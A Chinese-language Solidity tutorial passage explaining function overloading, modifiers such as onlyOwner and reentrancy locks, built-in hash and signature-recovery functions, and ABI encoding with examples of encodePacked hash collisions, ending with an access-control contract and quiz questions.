因此,计算用于计算 4 字节选择器的函数签名遵循内部命名模式以及可对合约 ABI 中不支持的类型的参数使用内部编码。
以下标识符可以作为函数签名中的类型:
值类型, 非存储的(non-storage)
string
及非存储的bytes
使用和合约 ABI 中同样的标识符。非存储的数组类型遵循合约 ABI 中同样的规则,例如
<type>[]
为动态数组以及<type>[M]
为M
个元素的动态数组。非存储的结构体使用完整的命名引用,例如
C.S
用于contract C { struct S { ... } }
.存储的映射指针使用
mapping(<keyType> => <valueType>) storage
当<keyType>
和<valueType>
是映射的键和值类型。其他的存储的指针类型使用其对应的非存储类型的类型标识符,但在其后面附加一个空格及
storage
。
函数的重载
Solidity 的函数重载,是指同一个作用域内,相同函数名可以定义多个函数。
这些相同函数名的函数,参数(参数类型或参数数量)必须不一样。,因为只有这样上一节介绍的函数签名中,才能签出来不同的函数选择器。
合约可以具有多个不同参数的同名函数,称为”重载”(overloading),这也适用于继承函数。
下面是两种 sum 方法。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function sum(uint256 a, uint256 b) public pure returns (uint256) {
return a + b;
}
function sum(uint256[] memory _arr) public pure returns (uint256 temp) {
for (uint256 index = 0; index < _arr.length; index++) {
temp += _arr[index];
}
}
function callSum1() public pure returns (uint256) {
return sum(1, 2);
}
function callSum2() public pure returns (uint256) {
// 下面 nums1 这种动态创建数组的方法是不对的,会报错
// uint256[] memory nums1 = [1, 2, 3];
uint256[] memory nums = new uint256[](5);
nums[0] = 1;
nums[1] = 2;
nums[2] = 3;
nums[3] = 4;
nums[4] = 5;
return sum(nums);
}
}
重载函数也存在于外部接口中。如果两个外部可见函数仅区别于 Solidity 内的类型,而不是它们的外部类型则会导致错误。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// Function overload clash during conversion to external types for arguments.Ï
contract A {
function f(B value) public pure returns (B out) {
out = value;
}
function f(address value) public pure returns (address out) {
out = value;
}
}
contract B {}
以上两个 f
函数重载都接受了 ABI 的地址类型,虽然它们在 Solidity
中被认为是不同的。
选择重载函数 & 参数匹配
选择重载函数:通过将当前范围内的函数声明与函数调用中提供的参数相匹配,这样就可以选择重载函数。
如果所有参数都可以隐式地转换为预期类型,则该函数作为重载候选项。如果一个匹配的都没有,解析失败。
⚠️:返回参数不作为重载解析的依据。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract A {
function f(uint8 val) public pure returns (uint8 out) {
out = val;
}
function f(uint256 val) public pure returns (uint256 out) {
out = val;
}
}
contract B {
A a;
// Member "f" not unique after argument-dependent lookup in contract A.
// function test1() public view returns (uint256) {
// uint256 tar = a.f(8);
// return tar;
// }
function test2() public view returns (uint256) {
uint256 tar = a.f(256);
return tar;
}
}
在 Remix 里,部署 A 合约,会将两个方法都渲染出来,调用 f(50)
/f(256)
都可以。
但是实际调用里,在其他合约内调用 f(50)
会导致类型错误,因为 50
既可以被隐式转换为 uint8
也可以被隐式转换为 uint256
。 另一方面,调用 f(256)
则会解析为f(uint256)
重载,因为 256
不能隐式转换为 uint8
。
modifier:函数修改器
Solidity 中关键字 modifier
用于声明一个函数修改器。
意义:我们可以将一些通用的操作提取出来,包装为函数修改器,来提高代码的复用性,改善编码效率。是函数高内聚,低耦合的延伸。
作用:
modifier
常用于在函数执行前检查某种前置条件。比如地址对不对,余额是否充足,参数值是否允许等
修改器内可以写逻辑
特点:
modifier
是一种合约属性,可被继承,同时还可被派生的合约重写(override)。(修改器 modifier 是合约的可继承属性,并可能被派生合约覆盖 , 但前提是它们被标记为 virtual)。_
符号可以在修改器中出现多次,每处都会替换为函数体。
正常的判断
下面是正常的前置判断,非常的啰嗦。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ErrorModifier{
address public owner;
uint public count = 0;
constructor(){
owner = msg.sender;
}
function add() external{
require(msg.sender==owner,"must owner address");
count++;
}
function minus() external{
require(msg.sender==owner,"must owner address");
count--;
}
}
函数修改器:普通
将通用的判断抽出为函数修改器。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ErrorModifier{
address public owner;
uint public count = 0;
constructor(){
owner = msg.sender;
}
// 下面就是函数修改器
modifier onlyOwner(){
require(msg.sender==owner,"must owner address");
_;
}
function add() external onlyOwner{
count++;
}
function minus() external onlyOwner{
count--;
}
}
函数修改器:带参数
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ErrorModifier{
address public owner;
uint public count = 0;
constructor(){
owner = msg.sender;
}
// 下面就是函数修改器
modifier onlyOwner(){
require(msg.sender==owner,"must owner address");
_;
}
modifier greaterThan(uint _x){
require(_x > 10,"must be greater than 10");
_;
}
function fnA(uint _x) external onlyOwner greaterThan( _x){
count=_x;
}
}
函数修改器:修改器内写逻辑
下面是一个防重载的函数修改器,这种使用方法,在低版本的 solidity 中可以防止重入攻击。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bool internal locked;
modifier noReentrant() {
require(!locked, "no reentrant");
locked = true;
_;
locked = false;
}
function test() public noReentrant returns (bool) {
return locked;
}
}
扩展:TODO:
一个 ownable 的 DEMO
这个例子使用了 构造函数 和 函数修改器。这是函数修改器的经典应用,是 OpenZeppelin 库中的 Ownable 合约核心逻辑:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Ownable {
address public owner;
// 发布事件 - 此合约owner已经换人(此逻辑与modifier无关,可以忽略)
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "must owner");
_;
}
modifier notZeroAddress(address _newOwner) {
require(_newOwner != address(0), "invalid address");
_;
}
function transferOwnership(address _newOwner)
external
onlyOwner
notZeroAddress(_newOwner)
{
emit OwnershipTransferred(msg.sender, _newOwner);
owner = _newOwner;
}
function getByOwner() external view onlyOwner returns (address) {
return owner;
}
function getByany() external view returns (address) {
return owner;
}
}
扩展:详细内容,请查看 OpenZeppelin 库中的 Ownable 源码
函数 修改器 的复杂例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract owned {
address owner;
constructor() { owner = payable(msg.sender); }
// 这个合约只定义一个修改器,但并未使用: 它将会在派生合约中用到。
// 修改器所修饰的函数体会被插入到特殊符号 _; 的位置。
// 这意味着如果是 owner 调用这个函数,则函数会被执行,否则会抛出异常。
modifier onlyOwner {
require(
msg.sender == owner,
"Only owner can call this function."
);
_;
}
}
contract destructible is owned {
// 这个合约从 `owned` 继承了 `onlyOwner` 修饰符,并将其应用于 `destroy` 函数,
// 只有在合约里保存的 owner 调用 `destroy` 函数,才会生效。
function destroy() public onlyOwner {
selfdestruct(owner);
}
}
contract priced {
// 修改器可以接收参数:
modifier costs(uint price) {
if (msg.value >= price) {
_;
}
}
}
contract Register is priced, destructible {
mapping (address => bool) registeredAddresses;
uint price;
constructor(uint initialPrice) { price = initialPrice; }
// 在这里也使用关键字 `payable` 非常重要,否则函数会自动拒绝所有发送给它的以太币。
function register() public payable costs(price) {
registeredAddresses[msg.sender] = true;
}
function changePrice(uint price_) public onlyOwner {
price = price_;
}
}
contract Mutex {
bool locked;
modifier noReentrancy() {
require(
!locked,
"Reentrant call."
);
locked = true;
_;
locked = false;
}
// 这个函数受互斥量保护,这意味着 `msg.sender.call` 中的重入调用不能再次调用 `f`。
// `return 7` 语句指定返回值为 7,但修改器中的语句 `locked = false` 仍会执行。
function f() public noReentrancy returns (uint) {
(bool success,) = msg.sender.call("");
require(success);
return 7;
}
}
如果你想访问定义在合约 C 的 修改器 modifier m , 可以使用 C.m 去引用它,而不需要使用虚拟表查找。
只能使用在当前合约或在基类合约中定义的 修改器 modifier , 修改器 modifier 也可以定义在库里面,但是他们被限定在库函数使用。
如果同一个函数有多个 修改器 modifier,它们之间以空格隔开,修改器 modifier 会依次检查执行。
修改器不能隐式地访问或改变它们所修饰的函数的参数和返回值。 这些值只能在调用时明确地以参数传递。
修改器 modifier 或函数体中显式的 return 语句仅仅跳出当前的 修改器 modifier 和函数体。 返回变量会被赋值,但整个执行逻辑会从前一个 修改器 modifier 中的定义的 _
之后继续执行。
警告:在早期的 Solidity 版本中,有 修改器 modifier 的函数, return 语句的行为表现不同。用 return
; 从修改器中显式返回并不影响函数返回值。 然而,修改器可以选择完全不执行函数体,在这种情况下,返回的变量被设置为默认值,就像该函数是空函数体一样。
_
符号可以在修改器中出现多次,每处都会替换为函数体。
修改器 modifier 的参数可以是任意表达式,在此上下文中,所有在函数中可见的符号,在 修改器 modifier 中均可见。 在 修改器 modifier 中引入的符号在函数中不可见(可能被重载改变)。
全局:数学和密码学函数
在全局命名空间中已经预设了一些特殊的变量和函数,他们主要用来提供关于区块链的信息或一些通用的工具函数。后续会详细介绍,这里简单的介绍几个全局函数
数学和密码学函数
Solidity 也提供了内置的数学和密码学函数:
数学函数:
addmod(uint x, uint y, uint k) returns (uint)
计算
(x + y) % k
,加法会在任意精度下执行,并且加法的结果即使超过2**256
也不会被截取。从 0.5.0 版本的编译器开始会加入对k != 0
的校验(assert)。
mulmod(uint x, uint y, uint k) returns (uint)
计算
(x * y) % k
,乘法会在任意精度下执行,并且乘法的结果即使超过2**256
也不会被截取。从 0.5.0 版本的编译器开始会加入对k != 0
的校验(assert)。
密码学函数:
keccak256((bytes memory) returns (bytes32)
计算 Keccak-256 哈希,之前 keccak256 的别名函数 sha3 在 0.5.0 中已经移除。。
sha256(bytes memory) returns (bytes32)
计算参数的 SHA-256 哈希。
ripemd160(bytes memory) returns (bytes20)
计算参数的 RIPEMD-160 哈希。
ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address)
利用椭圆曲线签名恢复与公钥相关的地址,错误返回零值。
函数参数对应于 ECDSA 签名的值:
r = 签名的前 32 字节
s = 签名的第 2 个 32 字节
v = 签名的最后一个字节
ecrecover 返回一个 address, 而不是 address payable。
ecrecover
的使用案例
数学函数
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function callAddMod() public pure returns (uint256) {
return addmod(4, 5, 3); // 可以直接使用 addmod
}
function callMulMod() public pure returns (uint256) {
return mulmod(4, 5, 3); // 可以直接使用 mulmod
}
}
密码学函数
HASH 的特性
如果输入内容相同,则输出内容必定相同
输入内容的任何变动,都会导致输出结果完全大变样
无论输入内容长度如何,输出内容长度均一样
不可逆
很难被破解,据说现在存在被破解的可能,所以一般合约内采用两次加密的手段。
HASH 的应用
主要用于:生成加密后的唯一值
密码学 keccak256 和 encodePacked/encode
keccak256((bytes memory) returns (bytes32)
keccak256: 返回结果是 bytes32
这些编码函数可以用来构造函数调用数据,而不用实际进行调用。此外,keccak256(abi.encodePacked(a, b))
是一种计算结构化数据的哈希值(尽管我们也应该关注到:使用不同的函数参数类型也有可能会引起“哈希冲突” )的方式,不推荐使用的 keccak256(a, b)
。
Hash 算法在合约内使用
keccak256
进行。keccak256
返回值是bytes32
定长数据
可以使用
abi.encode
和abi.encodePacked
进行初步处理,然后传入keccak256
如果是多个参数,推荐使用
encode
;encodePacked
因为哈希碰撞,容易导致参数不同,结果相同encode
和encodePacked
的返回结果是 不定长的bytes
类型
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function keccak256Test() public pure returns (bytes32 result) {
// ABC 的 keccak256 结果是:
// 0xe1629b9dda060bb30c7908346f6af189c16773fa148d3366701fbaa35d54f3c8
// keccak256 也被称作 sha3
return keccak256("ABC");
}
}
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Keccake256 {
function test1(string calldata _test1, string calldata _test2)
external
pure
returns (bytes32, bytes32)
{
return (
keccak256(encode(_test1, _test2)),
keccak256(encodePacked(_test1, _test2))
);
}
function encodePacked(string calldata _test1, string calldata _test2)
public
pure
returns (bytes memory)
{
return abi.encodePacked(_test1, _test2);
}
function encode(string calldata _test1, string calldata _test2)
public
pure
returns (bytes memory)
{
return abi.encode(_test1, _test2);
}
}
测试记录
/**
输入如下参数和返回结果
1.AA,BB
0:bytes32: 0x1edf4aae368e845d5d1cd28aec0624c467d538ecc7e5660765ed2afedca37aca
1:bytes32: 0xe5d11b08737f5dbf924278d835533b2b1e65c2fe1b5b119c5fdd21555547b9c4
2.AAA,BB
0:bytes32: 0x1db58b9736b1b30323e7dee1a1d1a71e8462dbd5651f55c364c3e9b8a3b28f10
1:bytes32: 0x741a09d43c38b2b6fc14dbc624b34865a62b9e8e13eb7a2f21263d0a1a11ed92
3.AA,ABB
0:bytes32: 0x40e845f25226ce557aee890fbb0084f9230ca5da5064f1922a15fd3941d7d423
1:bytes32: 0x741a09d43c38b2b6fc14dbc624b34865a62b9e8e13eb7a2f21263d0a1a11ed92
[AAA,BB] 和 [AA,ABB] 通过 encodePacked 得到的结果相同
*/
上面合约的改写
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Keccake256 {
function test1(string calldata _test1, string calldata _test2)
external
pure
returns (bytes32, bytes32)
{
return (
keccak256(encode(_test1, _test2)),
keccak256(encodePacked(_test1, 123, _test2))
);
}
function encodePacked(
string calldata _test1,
uint256 _x,
string calldata _test2
) public pure returns (bytes memory) {
return abi.encodePacked(_test1, _x, _test2);
}
function encode(string calldata _test1, string calldata _test2)
public
pure
returns (bytes memory)
{
return abi.encode(_test1, _test2);
}
}
密码学: sha256
sha256(bytes memory) returns (bytes32)
sha256: 返回结果是 bytes32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function sha256Test() public pure returns (bytes32 result) {
// ABC 的 sha256 结果是:
// 0xb5d4045c3f466fa91fe2cc6abe79232a1a57cdf104f7a26e716e0a1e2789df78
return sha256("ABC");
}
}
密码学: ripemd160
ripemd160(bytes memory) returns (bytes20)
ripemd160: 返回结果是 bytes20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function ripemd160Test() public pure returns (bytes20 result) {
// ABC 的 ripemd160 结果是:
// 0xdf62d400e51d3582d53c2d89cfeb6e10d32a3ca6
return ripemd160("ABC");
}
}
密码学: ecrecover
ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address)
利用椭圆曲线签名恢复与公钥相关的地址,错误返回零值。
函数参数对应于 ECDSA 签名的值:
r = 签名的前 32 字节
s = 签名的第 2 个 32 字节
v = 签名的最后一个字节
ecrecover
返回一个 address, 而不是 address payable
。他们之前的转换参考 address payable
,如果需要转移资金到恢复的地址。参考案例
注意
如果你使用 ecrecover
,需要了解,在不需要知道相应的私钥下,签名也可以转换为另一个有效签名(可能是另外一个数据的签名)。在 Homestead 硬分叉,这个问题对于 transaction 签名已经解决了(查阅 EIP-2)。 不过 ecrecover
没有更改。
除非需要签名是唯一的,否则这通常不是问题,或者是用它们来识别物品。 OpenZeppelin 有一个 ECDSA 助手库 ,可以将其用作 ecrecover
的”包装“,而不会出现此问题。
在一个私链上,你很有可能碰到由于 sha256、ripemd160 或者 ecrecover 引起的 Out-of-Gas。这个原因就是他们被当做所谓的预编译合约而执行,并且在第一次收到消息后这些合约才真正存在(尽管合约代码是硬代码)。发送到不存在的合约的消息非常昂贵,所以实际的执行会导致 Out-of-Gas 错误。在你的合约中实际使用它们之前,给每个合约发送一点儿以太币,比如 1 Wei。这在官方网络或测试网络上不是问题。
ecrecover:
这个比较复杂,请在下面的 通过智能合约验证签名 例子详细查看;
案例 1:通过智能合约验证签名
本案例的关键字
keccak256
abi.encodePacked
ecrecover()
assembly
mload
add
案例解析
做一个 DEMO:链上对任意消息进行加密,加密消息在链下使用私钥再次加密,然后对再次加密的信息进行校验。
获取消息的 Hash 值
hash = msgHash(_message);
在【链下】将 hash 使用 MetaMask 进行私钥签名;
_signature = metaMaskSignHash(hash,addressPrivateKey)
这里相当于在 Metamask 对 hash 做第二次的 keccak256 Hash 转换,转换时添加了
"\x19Ethereum Signed Message:\n32"
使用
ecrecover
方法恢复签名地址ecrecoverAddress = recoverAds(hash,_signature)
这里可以恢复 MetaMask 签名时候使用的地址
校验签名结果是否正确 ecrecoverAddress == addressPublicKey ? “验证成功” : “验证失败”;
代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract VerifySig {
/**
功能:校验签名结果是否正确
注意 _signature 是 bytes 类型的
*/
function verify(
address addressPublicKey,
string calldata _message,
bytes calldata _signature
) external pure returns (bool) {
bytes32 hash = msgHash(_message);
// bytes32 _signature = metaMaskSignHash(hash,addressPrivateKey); // 这是在链下操作
address ecrecoverAddress = recoverAds(hash, _signature);
return ecrecoverAddress == addressPublicKey;
}
function msgHash(string calldata _message)
public
pure
returns (bytes32 keccakFirst)
{
keccakFirst = keccak256(abi.encodePacked(_message));
}
function msgHash2(bytes32 _msgHash)
internal
pure
returns (bytes32 keccakSecond)
{
// 两次2次签名,据说是数学层面上1次签名有被破解的可能。[我没有亲自验证过]
keccakSecond = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", _msgHash)
);
}
function recoverAds(bytes32 _msgHash, bytes calldata _signature)
public
pure
returns (address)
{
// metamsk 签名会在原有消息上添加 "\x19Ethereum Signed Message:\n32",所以需要处理一下
bytes32 metamaskInputHash = msgHash2(_msgHash);
// r为点的x坐标,s为点的y坐标,v是坐标的奇偶检验标识符
// v是用于说明那个点才是真正符合结果的点
// https://www.cnblogs.com/wanghui-garcia/p/9662140.html
// https://www.jianshu.com/p/090f605f1842/
(bytes32 r, bytes32 s, uint8 v) = _split(_signature);
address ecrecoverAddress = ecrecover(metamaskInputHash, v, r, s);
return ecrecoverAddress;
}
function _split(bytes memory _signature)
internal
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
// 需要内联汇编进行分割,合约没有别的方法
require(_signature.length == 65, "invalid signature length");
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
// v := mload(add(_signature, 96))
// 因为 v 不是 bytes32,是 uint8数字,uint8数字只占1位,所以使用 byte(0)转换
v := byte(0, mload(add(_signature, 96)))
}
}
}
链下签名和 Remix 验证
使用浏览器控制台进行签名,需要安装 MateMask
// 1.打开 ethereum
ethereum.enable()
// 2.赋值地址。这里的地址是 MateMask 的默认地址
const address = "0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac";
// 3.赋值Hash。 使用 msgHash1 方法,输入 "ABC" 获取到的结果
const hash = "0xe1629b9dda060bb30c7908346f6af189c16773fa148d3366701fbaa35d54f3c8"
// 4. 呼起 MataMask 签名
ethereum.request({method:"personal_sign",params:[address,hash]});
// 5. 打开返回的 Promise {<pending>},拷贝 PromiseResult 值
0x66029be70a055a4abc293072c76550ffaecb2adb9fc3be2366d78bc498e008d06b6ddbfef97392a27a58737c33b059e09bb069261bdc41f9f0d8d1bc6e0b7ae31c
// 6. 在 recoverAds 中验证恢复的地址是否为签名地址。
上面的 PromiseResult 值是 _signature
上面的 hash 值是 _msgHash
// 7. 在 verify 中再次校验
扩展阅读: 在线进行签名的网站: https://metamask.github.io/test-dapp/
全局:ABI 编码及解码函数
ABI 全名 Application Binary Interface。ABI 用于底层调用的辅助使用;在合约调用合约的时候使用,可以不知道对方的合约源码,只需要知道链上逻辑即可。
ABI 编码
abi.encode(...) returns (bytes)
: :ref:ABI <ABI>
- 对给定参数进行编码abi.encodePacked(...) returns (bytes)
:对给定参数执行 :ref:紧打包编码 <abi_packed_mode>
,注意,可以不明确打包编码。abi.encodeWithSelector(bytes4 selector, ...) returns (bytes)
: :ref:ABI <ABI>
- 对给定第二个开始的参数进行编码,并以给定的函数选择器作为起始的 4 字节数据一起返回abi.encodeWithSignature(string signature, ...) returns (bytes)
:等价于abi.encodeWithSelector(bytes4(keccak256(signature), ...)
abi.encodeCall(function functionPointer, (...)) returns (bytes memory)
: 使用 tuple 类型参数 ABI 编码调用functionPointer
。执行完整的类型检查, 确保类型匹配函数签名。结果和abi.encodeWithSelector(functionPointer.selector, (...))
一致。
ABI 解码
abi.decode(bytes memory encodedData, (...)) returns (...)
: 对给定的数据进行 ABI 解码,而数据的类型在括号中第二个参数给出 。 例如:(uint a, uint[2] memory b, bytes memory c) = abi.decode(data, (uint, uint[2], bytes))
encode
encode
会补零
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract AbiDecode {
function encode(string memory a, string memory b)
external
pure
returns (bytes memory)
{
return abi.encode(a, b);
}
}
/**
/**
输入如下参数和返回结果
1.AA,BB
0x
0000000000000000000000000000000000000000000000000000000000000040
0000000000000000000000000000000000000000000000000000000000000080
0000000000000000000000000000000000000000000000000000000000000002
4141000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000002
4242000000000000000000000000000000000000000000000000000000000000
2.AAA,BB
0x
0000000000000000000000000000000000000000000000000000000000000040
0000000000000000000000000000000000000000000000000000000000000080
0000000000000000000000000000000000000000000000000000000000000003
4141410000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000002
4242000000000000000000000000000000000000000000000000000000000000
3.AA,ABB
0x
0000000000000000000000000000000000000000000000000000000000000040
0000000000000000000000000000000000000000000000000000000000000080
0000000000000000000000000000000000000000000000000000000000000002
4141000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000003
4142420000000000000000000000000000000000000000000000000000000000
*/
*/
encodePacked
encodePacked
不会补零不补零,容易导致碰撞错误。(两个参数拼在一起,导致参数不同,结果相同)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract AbiDecode {
function encodePacked(string memory a, string memory b)
external
pure
returns (bytes memory)
{
return abi.encodePacked(a, b);
}
}
/**
输入如下参数和返回结果
1.AA,BB
0x41414242
2.AAA,BB
0x4141414242
3.AA,ABB
0x4141414242
[AAA,BB] 和 [AA,ABB] 得到的结果相同
*/
解决 encodePacked
的哈希碰撞问题
可以在要编码的数据中间加一个固定的值,如果
代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract AbiDecode {
function encodePacked(string calldata _test1, string calldata _test2)
public
pure
returns (bytes memory)
{
uint256 x = 123;
return abi.encodePacked(_test1, x, _test2);
}
}
结果如下:
/**
输入如下参数和返回结果
1.AA,BB
0x4141000000000000000000000000000000000000000000000000000000000000007b4242
2.AAA,BB
0x414141000000000000000000000000000000000000000000000000000000000000007b4242
3.AA,ABB
0x4141000000000000000000000000000000000000000000000000000000000000007b414242
[AAA,BB] 和 [AA,ABB] 因为间隔了数据,所以得到的结果不相同
*/
注意
这些编码函数可以用来构造函数调用数据,而不用实际进行调用。此外,keccak256(abi.encodePacked(a, b))
是一种计算结构化数据的哈希值(尽管我们也应该关注到:使用不同的函数参数类型也有可能会引起“哈希冲突” )的方式,不推荐使用的 keccak256(a, b)
。
decode
例子 1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract AbiDecode {
struct MyStruct {
string name;
uint256[2] nums;
}
function encode(
uint256 x,
address addr,
uint256[] calldata arr,
MyStruct calldata myStruct
) external pure returns (bytes memory) {
return abi.encode(x, addr, arr, myStruct);
}
function decode(bytes calldata data)
external
pure
returns (
uint256 x,
address addr,
uint256[] memory arr,
MyStruct memory myStruct
)
{
(x, addr, arr, myStruct) = abi.decode(
data,
(uint256, address, uint256[], MyStruct)
);
}
}
合约测试
部署
encode
参数如下:
1
0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac
[1,2,3]
["Anbang",[2,3]]
得到的结果,进行
decode
abi.encodeWithSelector
这是获取函数签名使用的,第一个参数为函数选择,如下是第二章在介绍地址类型的时候,staticcall 静态调用 用法的参数,需要由 abi.encodeWithSelector
计算出来。函数的参数按照顺序写在函数名之后即可。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 被调用的合约
contract Hello {
function echo() external pure returns (string memory) {
return "Hello World!";
}
}
// 调用者合约
contract SoldityTest {
function callHello(address _ads) external view returns (string memory) {
// 编码被调用者的方法签名
bytes4 methodId = bytes4(keccak256("echo()"));
// 调用合约
(bool success, bytes memory data) = _ads.staticcall(
abi.encodeWithSelector(methodId)
);
if (success) {
return abi.decode(data, (string));
} else {
return "error";
}
}
}
abi.encodeWithSignature
这是获取函数签名使用的,第一个参数为函数的名字和参数类型,如下是第二章在介绍 地址类型的时候,call 用法的参数,需要由 abi.encodeWithSignature
计算出来。函数的参数按照顺序写在函数名之后即可。
function call_Test1_setNameAndAge(
address _ads,
string memory _name,
uint256 _age
) external payable {
bytes memory data = abi.encodeWithSignature(
"setNameAndAge(string,uint256)",
_name,
_age
);
(bool success, bytes memory _bys) = _ads.call{value: msg.value}(data);
require(success, "Call Failed");
bys = _bys;
}
abi.encodeCall
补充:函数赋值给变量 & 函数作为参数 & 函数中返回函数
可以将一个函数赋值给另一个函数类型的变量,也可以将一个函数作为参数进行传递,还能在函数调用中返回函数类型变量。
可以将一个函数赋值给一个变量,一个函数类型的变量。
还可以将一个函数作为参数进行传递。
也可以在函数调用中返回一个函数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FnTest1 {
function internalFunc() internal pure returns (uint256) {
return 1;
}
function externalFunc() external pure returns (uint256) {
return 2;
}
function callFunc() public view returns (uint256, uint256) {
//直接使用内部的方式调用
uint256 a = internalFunc();
//不能在内部调用一个外部函数,会报编译错误。
// externalFunc();
//使用`this`以`external`的方式调用一个外部函数
uint256 b = this.externalFunc();
//不能通过`external`的方式调用一个`internal`
//this.internalFunc();
return (a, b);
}
}
contract FnTest2 {
function externalCall(FnTest1 ft) public pure returns (uint256) {
//调用另一个合约的外部函数
uint256 a = ft.externalFunc();
//不能调用另一个合约的内部函数
//ft.internalFunc();
return a;
}
}
具名调用和匿名函数参数
函数调用参数也可以按照任意顺序由名称给出,如果它们被包含在 { }
中, 如以下示例中所示。参数列表必须按名称与函数声明中的参数列表相符,但可以按任意顺序排列。
pragma solidity >=0.4.0 <0.9.0;
contract C {
mapping(uint => uint) data;
function f() public {
set({value: 2, key: 3});
}
function set(uint key, uint value) public {
data[key] = value;
}
}
省略函数参数名称
未使用参数的名称(特别是返回参数)可以省略。这些参数仍然存在于堆栈中,但它们无法访问。
pragma solidity >=0.4.22 <0.9.0;
contract C {
// 省略参数名称
function func(uint k, uint) public pure returns(uint) {
return k;
}
}
调用异常
如果当函数类型的变量还没有初始化时就调用它的话会引发一个 Panic
异常。 如果在一个函数被 delete
之后调用它也会发生相同的情况。
外部函数类型在 Solidity 的上下文环境以外的地方使用
如果外部函数类型在 Solidity 的上下文环境以外的地方使用,它们会被视为 function
类型。 该类型将函数地址紧跟其函数标识一起编码为一个 bytes24 类型。。
实战应用
权限控制合约
权限控制的核心是: mapping
默认给部署者赋
ADMIN
权限ADMIN 和 USER 使用 bytes32,并且 private
只有 ADMIN 权限才可以添加和撤销权限
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract AccessControl {
// 状态变量
mapping(bytes32 => mapping(address => bool)) public roles;
// ADMIN 和 private 是私有变量,可以先改为 public;获取到值后,再改为 private
// 0xdf8b4c520ffe197c5343c6f5aec59570151ef9a492f2c624fd45ddde6135ec42
bytes32 private constant ADMIN = keccak256(abi.encodePacked("ADMIN"));
// 0x2db9fd3d099848027c2383d0a083396f6c41510d7acfd92adc99b6cffcf31e96
bytes32 private constant USER = keccak256(abi.encodePacked("USER"));
// 事件
event GrantRole(address indexed ads, bytes32 indexed role);
event RevokeRole(address indexed ads, bytes32 indexed role);
// 函数修改器
modifier onlyRole(bytes32 _role) {
require(roles[_role][msg.sender], "Not Authorized");
_;
}
// 构造函数
constructor() {
_grantRole(msg.sender, ADMIN);
}
// 函数
function _grantRole(address _ads, bytes32 _role) internal {
roles[_role][_ads] = true;
emit GrantRole(_ads, _role);
}
function grantRole(address _ads, bytes32 _role) external onlyRole(ADMIN) {
_grantRole(_ads, _role);
}
function revokeRole(address _ads, bytes32 _role) external onlyRole(ADMIN) {
roles[_role][_ads] = false;
emit RevokeRole(_ads, _role);
}
}
问答题
如下合约中,test 返回什么?
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract Demo { //当给返回值赋值后,并且有个return,以最后的return为主 function test() public pure returns (uint256 mul) { uint256 a = 10; mul = 100; return a; } }
函数参数使用时候有哪些需要注意的?
引用类型需要
memory
/calldata
函数参数可以当作为本地变量,也可用在等号左边被赋值。
外部函数不支持多维数组,如果原文件加入 p
ragma abicoder v2;
可以启用 ABI v2 版编码功能,这此功能可用。
创建一个
Utils
合约,其中有sum
方法,传入任意数量的数组,都可以计算出求和结果。函数既可以定义在合约内部,也可以定义在合约外部,两种方式的区别是什么?
合约之外的函数(也称为“自由函数”)始终具有隐式的
internal
可见性。 它们的代码包含在所有调用它们合约中,类似于内部库函数。在合约之外定义的函数仍然在合约的上下文内执行。他们仍然可以访问变量
this
,也可以调用其他合约,将其发送以太币或销毁调用它们合约等其他事情。与在合约中定义的函数的主要区别为:自由函数不能直接访问存储变量和不在他们的作用域范围内函数。
函数的构造函数有什么特点?
它仅能在智能合约部署的时候调用一次,创建之后就不能再次被调用。
构造函数是可选的,只允许有一个构造函数,这意味着不支持重载。(普通函数支持重载)
:在合约创建的过程中,它的代码还是空的,所以直到构造函数执行结束,我们都不应该在其中调用合约自己的函数。(可以直接写函数名调用,但是不推荐调用,不可以通过 this 来调用函数,因为此时真实的合约实例还没有被创建。)
构造函数有哪些用途?
用来设置管理账号,Token 信息等可以自定义,并且以后永远不需要修改的数据。
可以用来做初识的权限设置,避免后续没办法 owner/admin 地址。
合约内调用外部有哪些?
也可以使用表达式
this.g(8)
; 和c.g(2)
; 进行调用,其中 c 是合约实例, g 合约内实现的函数,这两种方式调用函数,称为“外部调用”,它是通过消息调用来进行,而不是直接的代码跳转。请注意,不可以在构造函数中通过this
来调用函数,因为此时真实的合约实例还没有被创建。
从一个合约到另一个合约的函数调用会创建交易么?
